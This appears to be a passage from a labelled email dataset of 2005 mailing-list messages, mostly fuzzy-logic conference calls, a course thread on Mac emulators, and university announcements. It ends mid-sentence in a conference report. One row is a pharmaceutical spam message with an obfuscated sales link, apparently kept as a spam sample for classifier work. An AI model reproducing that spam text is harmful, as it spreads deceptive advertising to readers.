/ Case studies SPECIAL SESSIONS Proposals for special sessions focusing on fundamental theories and innovative applications of fuzzy sets are welcome. Submission of proposals to Special Sessions Chair should include a short description of the session and a list of potential contributors. Special sessions will be open to all participants. BEST STUDENT PAPER CONTEST To identify and recognize accomplishments of students, the best student papers will be recognized with a special award. To qualify, a student or a group of students must be the primary author(s) of the paper. The paper will be judged based on both manuscript content and presentation. Awards will be presented at the banquet. EXTENDED ABSTRACT SUBMISSION Extended abstract submissions should be a maximum of one page. The abstract should briefly describe the problem being addressed, the approach used to solve the problem, and how the proposed method differs from others in the literature. IMPORTANT DATES Special session proposals January 13, 2006 Notification of acceptance of special sessions January 27, 2006 Extended abstract submission March 3, 2006 Notification of acceptance of abstracts March 24, 2006 Final paper submission and Registration April 7, 2006 ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Tue, 25 Oct 2005 14:30:55 -0600",,"Dear Friends, GOOD NEWS: INTERVAL SESSION APPROVED The conference organizers have approved our proposal for a special interval-related session at the Second International Conference on Fuzzy Sets and Soft Computing in Economics and Finance FSSCEF 2006 June 28- July 01, 2006, St. Petersburg, Russia http://fsscef.narod.ru/index.html (see also info attached at the end of this message; call for papers can also be viewed at http://www.cs.utep.edu/interval-comp/spb06.pdf). SCOPE OF THE INTERVAL SESSION In financial and economic situations, most parameters are known with uncertainty. It is therefore important to take this uncertainty into account when processing financial and economic data. In some cases, the only information we have is the bounds for a parameter, i.e., we only know the interval that is guaranteed to contain the actual value of this parameter. To handle such interval uncertainty, we must use interval computations techniques specifically designed for handling this type of uncertainty. In many real-life situations, instead of (or in addition to) an interval guaranteed to contain the value of the parameter, we have a nested family of intervals which contain this parameter with different degree of certainty -- i.e., in effect, we have a fuzzy set. It is well known that often, one of the most efficient ways of processing such fuzzy data is to process the corresponding intervals layer-by-layer. The proposed session which cover: * applications of interval computation techniques to finance and economics problems * interval computation techniques which are of potential use to finance and economic problems * inter-relation between interval and fuzzy techniques, especially in view of application to finance and economic problems ORGANIZERS (in alphabetic order) * Vladik Kreinovich University of Texas at El Paso, USA vladik@utep.edu * Siegfried Rump Inst. f. Computer Science III Technical University Hamburg-Harburg Hamburg, Germany rump@tu-harburg.de * Sergey Shary Institute of Computational Technologies Russian Academy of Sciences Novosibirsk, Russia shary@ict.nsc.ru SUBMISSION: please submit your abstracts and papers to us, copy to the conference organizers DEADLINES: abstracts are due on December 20, full papers on January 20, 2006. See you in St. Petersburg, Russia! Sergey, Siegfried, and Vladik ********************************************************************* First Call for Papers Second International Conference on Fuzzy Sets and Soft Computing in Economics and Finance FSSCEF 2006 June 28- July 01, 2006, St. Petersburg, Russia Sponsored by: Siemens Business Services Russia International Fuzzy Economics Lab Rus International Fuzzy Economics Lab Kazakhstan Journal of Banks & Risks Journal of News of Artificial Intelligence Journal of Fuzzy Sets and Soft Computing Russian Association for Fuzzy Systems and Soft Computing RANSSoftCom International Fuzzy Systems Association, IFSA European Society for Fuzzy Logic and Technology, EUSFLAT International Association Fuzzy-Set Management and Economy, SIGEF Mexican Petroleum Institute Institute of Problems of Informatics, Academy of Sciences, Tatarstan, Russia Berkeley Initiative in Soft Computing, BISC The goal of the conference is to join together researchers in fuzzy logic, soft computing and computing with words and specialists in economics, finance, practical management and business administration for discussing new theoretical results and practical applications of perspective intelligent technique in economics, finance and related areas. The topics of conference will include the following application areas and techniques. Application areas: Economics, fuzzy econometrics, financial engineering and management, financial time series analysis and forecasting, financial data mining, financial markets, marketing research, virtual market place, consumer preference analysis, client credit worthiness, customer segmentation, agent-based computational economics, fuzzy equilibrium, social choice and welfare, fuzzy cooperation and oligopoly, macroeconomic modeling and forecasting, micro-macro economic relations, experimental economics, market share analysis, stock forecast and portfolio management, stock management, investment planning, investment risk appraisal, risk management, strategic planning and enterprise development, audit and financial analysis, bank and finance technologies, business decision making, software solutions for economic and finance analysis, software solutions for business management, simulation of social processes. Techniques and methodologies: Fuzzy logic, neural networks, genetic algorithms, fuzzy systems, neuro-fuzzy modeling, evolutionary computations, self-organizing maps, chaos theory, fuzzy integrals, type 2 fuzzy sets, Dempster-Shafer theory, rough sets, interval mathematics, cognitive maps, perception based modeling and reasoning, precisiated natural language, computing with words, computational theory of perceptions, fuzzy constraint based reasoning. Fuzzy clustering, fuzzy pattern recognition, visualization of data, linguistic description of data, qualitative reasoning and time series analysis, fuzzy probabilities and statistics, fuzzy regression analysis, fuzzy dynamic systems; Fuzzy and linguistic preference relations, fuzzy choice functions, fuzzy and perception based utility, multiple criteria decision making, group decision making, fuzzy optimization, fuzzy games, fuzzy coalitions, multi-agent systems with fuzzy preferences and constraints, negotiation of intelligent agents with incomplete and imprecise information, fuzzy ontology. Fuzzy data bases and knowledge based systems, fuzzy distributed systems, fuzzy expert systems, data mining, perception based time series data mining, fuzzy association rules, intelligent question answering systems. Honorary Chairman Lotfi A. Zadeh, University of California, Berkeley, USA Advisory Committee J. Gil-Aluja, Spain J. Kacprzyk, Poland M. Nikravesh, USA Co-Chairs of Program Committee Ildar Batyrshin, Mexico, Russia Pavel Sevastjanov, Poland Constantin Zopounidis, Greece Chair of Organizing Committee Alexey Nedosekin, SIEMENS BUSINESS SERVICES RUSSIA, IFEL Rus E-mail: an@ifel.ru International Program Committee (will be approved) R. Aliev, Azerbaijan L. Bershtein, Russia A. Borisov, Latvia J.J. Buckley, USA Ch. Carlsson, Finland Sh. Chabdarov, Russia B. De Baets, Begium D. Dubois, France A. Eremeev, Russia F. Esteva, Spain D. Filev, USA B. Fioleau, France T. Fukuda, Japan J. Gil-Aluja, Spain K. Hirota, Japan N. Jarushkina, Russia R. Kachalov, Russia J. Kacprzyk, Poland O. Kaynak, Turkey E. Kerre, Belgium G. Klejner, Russia R. Klempous, Poland G.J. Klir, USA V. M. Kurejchik, Russia L. Magdalena, Spain M. Mares, Czech Republic I. Nasyrov, Russia M. Nikravesh, USA A. Nedosekin, Russia V. Novak, Czech Republic G. Osipov, Russia P. Osmera, Czech Republic W. Pedrycz, Canada I. Perfilieva, Czech Republic V. Red'ko, Russia I. J. Rudas, Hungary T. Rudas, Hungary L. Rutkowski, Poland D. Rutkowska, Poland A. Ryjov, Russia L. Sheremetov, Mexico P. Sincak, Slovakia R. Slowinski, Poland V. Stefanuk, Russia T. Sudkamp, USA V. Tarasov, Russia I.B. Türksen, Canada V. Vagin, Russia M. Wagenknecht, Germany R. Yager, USA A. Yazenin, Russia Ju. Zhuravlev, Russia Organizing committee A. Danilova, N.Avdeenko Service agent of Conference: Monomax Company E-mail: vipservice@monomax.org Tel.: +7 812 320-0119, 445-0159; Fax: +7 812 324 7322 Submission of Papers: The working language of the conference is English. Prospective authors are invited to submit a full paper electronically in PDF format no longer than 8 pages including authors' names, affiliations, mailing address, E-mail, telephone and fax numbers to the address: an@ifel.ru. The papers will be published in the proceedings of conference. The extended versions of original papers will be recommended for publications in special issues of international journals. The proposals for lectures related with the theme of conference are invited. The preference will be done to reports observing perspective theoretical models and applications in economics and finance. Important Dates: Deadline for proposals for special sessions and lectures: December 10, 2006 Preliminary abstract submission (1 page): December 20, 2005 Deadline for paper submission January 20, 2006 Notification of acceptance: February 20, 2006 Deadline for submission of final manuscripts: March 10, 2006 Conference Web Page: http://fsscef.narod.ru/index.html Cultural program: June in St. Petersburg is the time of magnificent White Nights. The cultural program of conference includes sightseeing of St. Petersburg with visit of Hermitage Museum, banquet on the ship in waters of Neva River. By request on July 1 it may be organized the excursion to Peterhof or Pushkin. Some Links: http://www.spb.ru/eng/ - Saint-Petersburg official website http://www.spb.ru/eng/maps/ - Maps of St. - Petersburg http://www.hermitagemuseum.org/html_En/index.html - The Hermitage Museum http://www.peterhof.org/index1.htm - Peterhof http://eng.tzar.ru/ - Tzarskoje Selo, Pushkin town ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Tue, 25 Oct 2005 16:46:02 -0600",FW: Mark your calendars; forwarding," Interval-valued probabilities and related topics are usually very welcome at this conference. Vladik -----Original Message----- From: Jonathan Lawry [mailto:J.Lawry@bristol.ac.uk] Soft Methods in Probability and Statistics SMPS 2006 Bristol, UK, 5-7 September 2006 Call for Papers Over the last thirty years there has been a growing interest in extending the theory of probability and statistics to allow for more flexible modelling of uncertainty, ignorance, and fuzziness. Most such extensions result in a ""softening"" of the classical theory, to allow for imprecision in probability judgements and to incorporate fuzzy constraints and events. Many approaches utilise concepts, tools and techniques developed in theories such as fuzzy set theory, possibility theory, imprecise probability theory and Dempster-Shafer theory. The need for soft extensions of probability theory is becoming apparent in a wide range of applications areas. For example, in data analysis and data mining it is becoming increasingly clear that integrating fuzzy sets and probability can lead to more robust and interpretable models that better capture both the inherent uncertainty and fuzziness of the underlying data. Also, in science and engineering the need to analyse and model the true uncertainty associated with complex systems requires a more sophisticated representation of ignorance than that provided by uninformative Bayesian priors. Soft Methods in Probability and Statistics (SMPS) 2006 will be hosted by the Artificial Intelligence Group, Department of Engineering Mathematics at the University of Bristol, UK. This is the third of a series of biennial conferences organized in 2002 by the Systems Research Institute from the Polish Academy of Sciences in Warsaw and in 2004 by the Department of Statistics and Operation Research at the University of Oviedo in Spain. SMPS 2006 aims to provide a forum for researchers to present and discuss ideas, theories, and applications. The scope of conference is to bring together experts representing all existing and novel approaches to soft probability and statistics. In particular, we would welcome papers combining probability and statistics with fuzzy logic, applications of the Dempster-Shafer theory, possibility theory, generalized theories of uncertainty, generalized random elements, generalized probabilities and so on. Detailed info will be forthcoming. ",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Tue, 25 Oct 2005 21:20:17 -0600",From the website,"Dear Friends, This is FYI. Please note that interval-valued fuzzy sets and implicitly listed as one of the possible topics of interest, as part of type-2 fuzzy sets. Vladik ********************************************************************************** World Congress of the International Fuzzy Systems Association IFSA 2007 Cancun, Mexico, June 20-23, 2007 http://www.hafsamx.org/ifsa2007/index.htm MAIN THEME OF THE CONGRESS Theory and Applications of Fuzzy Logic and Soft Computing ORGANIZED BY: * Tijuana Institute of Technology * Hispanic American Fuzzy Systems Association HAFSA SUPPORTED BY: COSNET-DGEST IN COOPERATION WITH: Mexican Chapter of the IEEE Computational Intelligence Society CIS The World Congress will consist of papers describing research work that deals with Computational Intelligence (CI) methodologies for the development of hybrid intelligent systems. CI methodologies at the moment include (at least) Fuzzy Logic, Neural Networks, Genetic Algorithms, Intelligent Agents, and Chaos Theory. The use of intelligent techniques, like neural networks, fuzzy logic and genetic algorithms, for real-world problems is now widely accepted. However, still the performance of any of these techniques can be improved, in many situations, by using them in conjunction with other techniques. For example, genetic algorithms can be used to optimize the design of a neural network for time series prediction, or fuzzy logic can be used to combine the information from expert neural modules, just to mention two cases. Also, mathematical methods, like the ones from Chaos and Fractal Theory, can be used in conjunction with intelligent techniques to improve the performance of hybrid systems for real-world applications. The international conference will consist of papers addressing these hybrid approaches and similar ones, either theoretically or for real-world applications. Also, distinguished internationally recognized invited speakers will give lectures on the main areas of CI. The conference is intended primarily for researchers and graduate students working on these research areas. TOPICS OF INTEREST 1 Successful new applications to real-world problems of CI techniques that are found to achieve better results than conventional techniques. In this case, special attention should be given to the metrics used to compare CI techniques with conventional ones. 2 Developments of innovative hybrid methods combining CI techniques and conventional techniques. In this case, the problems to be considered in these papers may not be as complex as the ones in the previous point, but the authors have to explain very carefully how their proposed method could be used, in the future, to solve real-world problems. 3 Papers considering original research on new CI architectures, models or techniques are also welcome, but the authors would have to make a detailed description of how their proposed approach is compared with other related approaches. Specific Topics of interest (not limited to) * Fuzzy Logic Theory * Fuzzy Control * Fuzzy Logic in Pattern Recognition * Type-2 Fuzzy Logic * Intuitionistic Fuzzy Logic * Fuzzy Logic Applications * Neural Networks Theory * Neural Network Control * Neural Networks for Prediction * Neural Networks for Pattern Recognition * Modular Neural Networks * Neuro-Fuzzy Models and Applications * Evolutionary Computing Theory * Genetic Algorithms for Applications * Genetic Algorithms for Neural Network Optimization * Genetic Algorithm for Fuzzy System Optimization * Genetic Fuzzy Systems * Genetic Neural Systems * Neuro-Fuzzy-Genetic Approaches * Intelligent Agents * Social Systems * Swarm Intelligence * Ant Colonies Algorithms * Chaos Theory and Fractals ORGANIZING COMMITTEE General Chair: Prof. Dr. Oscar Castillo, Instituto Tecnologico de Tijuana Program Chair: Prof. Dr. Patricia Melin, Instituto Tecnologico de Tijuana Local Organizing Committee: Prof. Dr. Luis Tupak Aguilar Bustos, CITEDI-IPN, Tijuana Prof. Dr. Miguel Arias Estrada, INAOE, Puebla Prof. Dr. Carlos A. Coello Coello, CINVESTAV, Mexico Prof. Dr. Alfredo Cristobal Salas, Univ. Autonoma de Baja California, Tijuana Prof. Dr. Pilar Gomez Gil, Universidad de las Americas Puebla, Puebla Prof. Dr. Eduardo Gómez Ramirez, Universidad de La Salle, Mexico Prof. Dr. Gerardo Maximiliano Mendez, Instituto Tecnologico de Nuevo Leon, Monterrey Prof. Dr. Antonio Rodriguez Diaz, Univ. Autonoma de Baja California, Tijuana Prof. Dr. Edgar N. Sanchez, CINVESTAV, Guadalajara PLENARY SPEAKERS (Partial list of Confirmed Plenary Speakers): * Prof. Lofti Zadeh University of California at Berkeley, USA http://www.cs.berkeley.edu/~zadeh/ * Prof. Ronald Yager Iona College, New Rochelle, USA http://www.panix.com/%7Eyager/HP/rry.html * Prof. Janusz Kacprzyk Polish Academy of Sciences, Warsaw, Poland http://www.ibspan.waw.pl/~kacprzyk/kacprzyk_ang.htm http://www.doc.ntu.ac.uk/RTTS/People/kacprzyk.html * Prof. Jerry Mendel University of Southern California, Los Angeles, USA http://ee.usc.edu/faculty_staff/bios/mendel.html ABOUT CANCUN: Cancun is a beautiful city with world class hotels and resorts and incredible beaches and it is easily accessible by air from America, Europe and Asia. Cancun is situated in the Yucatan peninsula with beautiful beaches in the Caribbean Sea and it is also very near the well-known ancient Mayan ruins. Cancun is also a very safe city with modern shopping centers, entertainment parks, and excellent restaurants for all tastes. Also, we have to say Cancun is the most preferred city for Conferences to be held in Mexico. In conclusion, Cancun is the ideal place for the IFSA 2007 Congress. ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Tue, 25 Oct 2005 21:37:53 -0600",From the website,"Dear Friends, Robert John, one of the main organizers, is one of the leading researchers in using interval techniques in fuzzy; interval-related talks willm be clearly welcome at this meeting. Vladik ************************************************************************ ************ FUZZ-IEEE 2007 IEEE International Conference on Fuzzy Systems July 23-26 2007, London, England http://www.fuzzieee2007.org/ CALL FOR PAPERS FUZZ-IEEE, the Annual IEEE International Conference on Fuzzy Systems, is one of the premier international conferences in the field. The 2007 conference will cover the whole range of research and applications in fuzzy systems and soft computing, including: Fuzzy control and robotics, sensors, fuzzy hardware, fuzzy architectures Soft computing and hybrid systems - adaptive, hierarchical, evolutionary, neural and nature-inspired systems Fuzzy image, speech and signal processing, vision and multimedia Fuzzy data analysis - clustering and classifiers, pattern recognition, bio-informatics Mathematical foundations of fuzzy systems Fuzzy AI - knowledge discovery, learning, reasoning, agents, knowledge representation Fuzzy information processing - information extraction and retrieval, fusion, text mining Computing with words granular computing, rough sets, fuzzy human computer interaction Fuzzy systems and the internet - semantic web, ontologies, searching, networks and routing, intrusion detection Fuzzy optimization and design, decision analysis and support Industrial, financial and medical applications FUZZ-IEEE 2007 will be held in London, England, one of the most vibrant cities in Europe with a wealth of cultural and tourist attractions. The conference venue is Imperial College, one of the UK's top universities. A full programme of tutorials, specialist workshops and panel sessions together with keynote talks from leading researchers and regular oral and poster presentations will be organised. CONFERENCE VENUE The Conference venue will be Imperial College of Science, Technology and Medicine which is an independent constituent part of the University of London. Imperial College was established in 1907 in London's scientific and cultural heartland in South Kensington. Imperial College is one of the world's most prestigious Universities Nobel prize winners and many famous scientists. The list of the Imperial college Nobel Prize can be found in http://www.ic.ac.uk/P455.htm Imperial college is located in South Kensington which is London's scientific and cultural heartland and one of London's finest locations and central to London's famous attractions and sights as it is adjacent to such landmarks as The Royal Albert Hall and the Science, Natural History and Victoria & Albert Museums, with Buckingham Palace, Piccadilly Circus, Harrods, Hyde Park and the shopping area at Oxford street just a short walk away. Few locations offer such a diversity of attractions and breadth of culture with museums, art galleries, theatres, concert halls and historical places of interest to visit. The conference is surrounded by many restaurants serving all tastes. ORGANISING COMITTEE General Chair: Qiang Shen, University of Wales Aberystwyth Co-General Chairs: Hani Hagras, University of Essex Robert John, De Montfort University Program Chair: Trevor Martin, University of Bristol Program Co-Chair: Janusz Kacprzyk, Polish Academy of Science Local Arrangements Chair: Philippe de Wilde, Imperial College Publication Chair: Jon Garibaldi, University of Nottingham Website Chair: Ahmad Lotfi, Nottingham Trent University Publicity Chair: Mahdi Mahfouf, University of Sheffield Finance Chair: Dave Smith, University of Wales Aberystwyth ",0,1 m n ,cs382m@lists.cc.utexas.edu,"Wed, 26 Oct 2005 00:06:06 -0400",[CS382M:26] mac emulator,"Is there a Mac emulator for PC? -- http://www.geocities.com/cyperhunt2/study.zip ",0,1 fkai ,angel@smtp.uoregon.edu,,Cialis Soft Tabs. Created for all you lovers out there.,http://iqd.v7i2i2jc011tzvdp0vvp0ddv.amoralin.com Are you tired of staring at Playboy trying to cause erection? Trust us; it�s so much easier and faster with our Viagra Soft Tabs.,1,1 Michael Halcrow ,cs382m@lists.cc.utexas.edu,"Wed, 26 Oct 2005 07:11:47 -0500",[CS382M:27] Re: mac emulator,"On Wed, Oct 26, 2005 at 12:06:06AM -0400, m n wrote: > Is there a Mac emulator for PC? If you're looking for a PowerPC emulator: http://pearpc.sourceforge.net/ Mac's will soon be x86-based. Mike .___________________________________________________________________. Michael A. Halcrow Security Software Engineer, IBM Linux Technology Center GnuPG Fingerprint: 419C 5B1E 948A FA73 A54C 20F5 DB40 8531 6DCA 8769 A directive occured while processing this error. ",0,1 Jeff Diamond ,Michael Halcrow ,"Wed, 26 Oct 2005 08:47:22 -0500",[CS382M:28] Re: mac emulator,"""Soon"" meaning 2008. :) There used to be dozens of Mac emulators for X86, but once Macs switched to PowerPC/NextStep (Mac OS X), the field narrowed considerably, but there are still some good ones. Check out the Cherry OS: http://www.cherryos.com/ BTW, Apple is also working on a PowerPC emulator for when they take the switch, but when they last demoed it it was no where close to real time operation. Michael Halcrow wrote: >On Wed, Oct 26, 2005 at 12:06:06AM -0400, m n wrote: > > >>Is there a Mac emulator for PC? >> >> > >If you're looking for a PowerPC emulator: > >http://pearpc.sourceforge.net/ > >Mac's will soon be x86-based. > >Mike >.___________________________________________________________________. > Michael A. Halcrow > Security Software Engineer, IBM Linux Technology Center >GnuPG Fingerprint: 419C 5B1E 948A FA73 A54C 20F5 DB40 8531 6DCA 8769 > >A directive occured while processing this error. > > ",0,1 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Wed, 26 Oct 2005 09:00:45 -0500",[CS382M:29] Re: mac emulator,"Yikes! Sorry guys - I just checked and it looks like the CherryOS project has gone under. I'd blame Steve Jobs and his lawsuits. So that means you probably won't have a clean all in one Mac solution. You can try looking at PearPC - it's mainly a PowerPC emulator but they had a demo awhile back of specifically running Mac OS-X and might have instructions somewhere... http://pearpc.sourceforge.net/about.html Jeff Diamond wrote: > ""Soon"" meaning 2008. :) There used to be dozens of Mac emulators for > X86, but once Macs switched to PowerPC/NextStep (Mac OS X), the field > narrowed considerably, but there are still some good ones. > Check out the Cherry OS: > > http://www.cherryos.com/ > > BTW, Apple is also working on a PowerPC emulator for when they take > the switch, but when they last demoed it it was no where close to real > time operation. > > Michael Halcrow wrote: > >> On Wed, Oct 26, 2005 at 12:06:06AM -0400, m n wrote: >> >> >>> Is there a Mac emulator for PC? >>> >> >> >> If you're looking for a PowerPC emulator: >> >> http://pearpc.sourceforge.net/ >> >> Mac's will soon be x86-based. >> >> Mike >> .___________________________________________________________________. >> Michael A. Halcrow >> Security Software Engineer, IBM Linux Technology Center >> GnuPG Fingerprint: 419C 5B1E 948A FA73 A54C 20F5 DB40 8531 6DCA 8769 >> >> A directive occured while processing this error. >> > > > ",0,1 minson@uoregon.edu,minson@uoregon.edu,"Wed, 26 Oct 2005 11:40:47 -0700",Next Week,"Hi everyone! I have posted the position stand on Fluid Replacement during exercise in the ""Course Documents"" Folder. We will discuss it next Wednesday (Nov. 2nd). In addition, we will have our mid-term exam on Friday Nov. 4th, which we will take the second half of class. You will also receive a take-home portion of the exam that will be due the following Wednesay in class (Nov. 9th). I will make extra time to be available to you on Wednesday and Thursday before the exam so we can disucss any questions you might have. My suggestion is to start studying soon and try to meet with me (or John) before the exam if you are struggling with the material. See you Friday!",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Wed, 26 Oct 2005 11:34:32 -0600",More detailed info on SMPS has just appeared,"Forwarding a more detailed info re conference where interval-valued probability-related stuff is welcome. Vladik *************************************************************** Third international conference on Soft Methods in Probability and Statistics University of Bristol - UK September 5-7, 2006 http://www.enm.bris.ac.uk/SMPS/ ABOUT SMPS Over the last thirty years there has been a growing interest in extending the theory of probability and statistics to allow for more flexible modelling of uncertainty, ignorance and fuzziness. Most such extensions result in a ""softening"" of the classical theory, to allow for imprecision in probability judgements and to incorporate fuzzy constraints and events. Many approaches utilise concepts, tools and techniques developed in theories such as fuzzy set theory, possibility theory, imprecise probability theory and Dempster-Shafer theory. The need for soft extensions of probability theory is becoming apparent in a wide range of applications areas. For example, in data analysis and data mining it is becoming increasingly clear that integrating fuzzy sets and probability can lead to more robust and interpretable models that better capture both the inherent uncertainty and fuzziness of the underlying data. Also, in science and engineering the need to analyse and model the true uncertainty associated with complex systems requires a more sophisticated representation of ignorance than that provided by uninformative Bayesian priors. Soft Methods in Probability and Statistics (SMPS) 2006 will be hosted by the Artificial Intelligence Group, Department of Engineering Mathematics at the University of Bristol, UK. This is the third of a series of biennial conferences organized in 2002 by the Systems Research Institute from the Polish Academy of Sciences in Warsaw (SMPS 2002) and in 2004 by the Department of Statistics and Operation Research at the University of Oviedo in Spain (SMPS 2004). SMPS 2006 aims to provide a forum for researchers to present and discuss ideas, theories, and applications. The scope of conference is to bring together experts representing all existing and novel approaches to soft probability and statistics. In particular, we would welcome papers combining probability and statistics with fuzzy logic, applications of the Dempster-Shafer theory, possibility theory, generalized theories of uncertainty, generalized random elements, generalized probabilities and so on. PROCEEDINGS The proceedings of SMPS 2006 will be published as an edited volume by Springer in the series Advances in Soft Computing. INSTRUCTIONS TO AUTHORS Papers should be no longer than 8 pages and in the Springer style for papers in edited volumes described at http://www.springer.com/series/4240. Papers can be prepared using the Latex style file as shown in the sample document posted on the conference website. Papers should be submitted as pdf documents by email to smps-06@bris.ac.uk TIMETABLE AND DEADLINES Registration and submission of papers - 27 Febuary 2006. Notification of acceptance - 3 April 2006. Submission of the camera-ready typescripts of the papers and payment of the conference fee - 1 May 2006. CONFERENCE VENUE The SMPS 2006 conference will take place at the Merchant Venturers Building in the Faculty of Engineering at the University of Bristol. Bristol is a historic city surrounded by beautiful countryside at the heart of South West England. Famous Bristolians include: Isambard Kingdom Brunel, Cary Grant, Daniel Defoe, Paul Dirac, Sir Humphry Davy, John Wesley and of course Wallace and Gromit. COMMITTEES Honourary Chair Prof. Lotfi Zadeh (University of California at Berkeley, USA) General Chair Jonathan Lawry (University of Bristol, UK) Organizing Committee Trevor Martin (University of Bristol, UK) Jonathan Rossiter (University of Bristol, UK) Nick Randon (University of Bristol, UK) John Davis (University of Bristol, UK) Peter Flach (University of Bristol, UK) M.A. Gil (University of Oviedo, Spain) P. Grzegorzewski (Polish Academy of Sciences, Poland) E. Mrowka (Polish Academy of Sciences, Poland) Scientific Committee T. Cao (Ho Chi Minh City University of Technology, Vietnam) F. Coolen (University of Durham, UK) N. Corral (University of Oviedo, Spain) P. Gil (University of Oviedo, Spain) L. Godo (IIIA, Spain) J.W. Hall (University of Newcastle, UK) C. Hinde (University of Loughborough, UK) O. Hryniewicz (Polish Academy of Sciences, Warsaw, Poland) V. N. Huynh (JAIST, Japan) J. Kacprzyk (Polish Academy of Sciences, Warsaw, Poland) E.E. Kerre (University of Gent, Belgium) V. Kreinovich (University of Texas, USA) R. Kruse (University of Magdeburg, Germany) W. Liu (Queens University Belfast, UK) S. Moral (University of Granada, Spain) W. Naether (University of Freiberg, Germany) H.T. Nguyen (New Mexico State University, Las Cruces, USA) Y. Ogura (University of Saga, Japan) A.L. Ralescu (University of Cincinnati, USA) D.A. Ralescu (University of Cincinnati, USA) J. Recasens (UPC, Spain) Q. Shen (University of Aberystwyth, UK) M. Rojas-Medar (University Estadual de Campiñas, Brazil) R. Viertl (University of Technology at Vienna, Austria) M. Ying (Tsinghua University, China) For any queries or further information please email smps-06@bris.ac.uk ",0,1 Lauren Brownrigg ,duckvoice@lists.uoregon.edu,"Wed, 26 Oct 2005 13:07:49 -0700",duckvoice: Community Service Opportunities," Homecoming Pep Rally It is scheduled for Thursday Nov. 3rd, from 12:30-2pm at the EMU amphitheater. They are requesting, that a representative from each team be present to be recognized wearing their team shirts. The representatives will be introduce and may help lead the fight song. They will also pick winners of a raffle. They also hope that if any other athletes are in the area at that time that they can drop by and be recognized. Please let me know if you are interested as soon as possible (By Friday Oct. 28th) so I can give them a rough estimate of who will be attending. Trick or Treat! Monday Oct. 31st 6-7pm Had out Candy to Kids at the Women's Basketball game So Halloween is Monday and the Marketing department has asked for our help. Now before you go and say it is Halloween and we are going to be out having a good time, hear me out. They would like some student athletes to attend the Women's Basketball game that night from 6pm-7pm and help hand out CANDY to little kids who will be Trick-or-Treating around the Basketball arena. It would be a lot of fun and early enough to go have fun afterwards . You would be able to support the Women's Basketball team, you would probably get some candy, and most of all the Kids would love to see you there! So please go to your teams and see if anyone is interested in helping. Let me know as soon as you can. Thanks and have a Happy Halloween! Red Ribbon Assembly at Elmira H.S. Nov. 1st (or another date if you are interested) 9am Speak about Drugs and Alcohol to student in an assembly. Please let me know if you are interested in being involved with any of these events!!! Thanks, Lauren Brownrigg University of Oregon Athletics Student Services (541)346-5367 lkb@uoregon.edu ",0,0 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Wed, 26 Oct 2005 13:15:00 -0500",[CS382M:30] today's lecture,"Further reading on niagara: ""Niagara: A 32-Way Multithreaded SPARC Processor"" Poonacha Kongetira, Kathirgamar Aingaran, and Kunle Olukotun IEEE MICRO Magazine, March-April 2005 http://ogun.stanford.edu/~kunle/publications/niagra_micro.pdf Kartik ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Wed, 26 Oct 2005 16:08:29 -0600",Report re conference,"Interval-Related Talks at the International Conference on Fuzzy Systems, Neural Networks, and Genetic Algorithms FNG'05, Tijuana, Baja California, Mexico, October 13-14, 2005 In October 2005, the newly formed Hispanic American Fuzzy System Association (HAFSA) organized the International Conference on Fuzzy Systems, Neural Networks, and Genetic Algorithms FNG'05 in Tijuana, Mexico. The organizing committee of this conference included researchers from Argentina, Brazil, Chile, Colombia, Mexico, and Poland; presented papers were also authored by participants from other countries such as Cuba, Spain, and the USA. MAIN THEME OF THE CONFERENCE As the name of the conference emphasizes, there are many different techniques for handling the uncertain character of our knowledge and for processing uncertain information: * fuzzy techniques help us to represent and process the uncertainty in the input data, namely uncertainty that comes from experts who use words from natural language like ""x is approximately 5.0"" to describe their uncertainty; * neural networks enable us to learn the dependence between different variables from examples, thus helping us to come up with a data processing algorithms f which transforms easier-to-estimate variables x1,...,xn into an estimate y=f(x1,...,xn) for a difficult-to-estimate quantity y; * finally, genetic algorithms enable us to find the values of the parameters of design or control which optimize the desired objective function, and thus, helping us to make decisions under uncertainty. >From this description, it is clear that in many real-life problems, we need to use all three of these techniques: * fuzzy techniques to handle initial expert uncertainty of the easy-to-estimate quantities, * neural techniques to describe the values of other quantities, and * genetic algorithms to make optimal decisions under this uncertainty. Some estimates for the original quantities come not from experts, but from measurements; the uncertainty of these estimates can be described by using probabilistic and interval techniques. Thus, to adequately represent and process uncertainty, we must combine probabilistic, interval, fuzzy, neural, and genetic techniques. The corresponding ""hybrid"" methods, methods which combine several such techniques, were the main theme of the conference. INTERVAL-RELATED TALKS Since the emphasis was on hybrid methods, i.e., methods which combine different techniques, several talks mentioned interval computations as one of such techniques. There were also four talks with a strong emphasis on intervals. 1) The talk ""From type-1 to type-2 fuzzy logic control: a stability and robustness study"", by Nohe Ramon Cazarez Castro, Oscar Castillo, Luis Aguilar, and Selene Cardenas from Tijuana Institute of Technology and the Tijuana-based Center for Research and Design in Digital Technology (CITEDI) of Mexico's National Polytechnic Institute (IPN), discussed control applications. Since Kharitonov's pioneering 1978 paper, there has been a lot of research about control stability under interval uncertainty, i.e., stability of the controlled system (""plant"") for all possible values of parameters within given intervals. This work was summarized in numerous surveys and in two monographs: by Barmish (1994), and by Bhattacharyya, Chapellat, and Keel (1995). There has also been a lot of research on stability of fuzzy control techniques designed for situations when we have fuzzy uncertainty, i.e., when instead of an interval which is guaranteed to contain the unknown parameter value, we have several intervals which contain this value with different degrees of certainty. In real life: * some parameter estimates come from experts and thus, come with fuzzy uncertainty, while * other parameters are estimated based on the measurements and thus, come with interval uncertainty. It is therefore desirable to analyze stability under such combined uncertainty. At present, most methods for analyzing stability under interval uncertainty are different from the related fuzzy stability techniques, so there are very few results about the stability of systems with combined uncertainty. The talk presented new theoretical and experimental results about the stability of systems which combine interval and fuzzy uncertainty. 2) A keynote talk authored by Daniel Berleant (Iowa State University), Scott Ferson (Applied Biomathematics, Setauket, New York), Vladik Kreinovich (University of Texas at El Paso), and Weldon Lodwick (University of Colorado at Denver) overviewed the issues related mainly to the combination of probabilistic and interval uncertainty - although fuzzy uncertainty was also discussed. There are two main issues here. First, in many cases, in addition to intervals 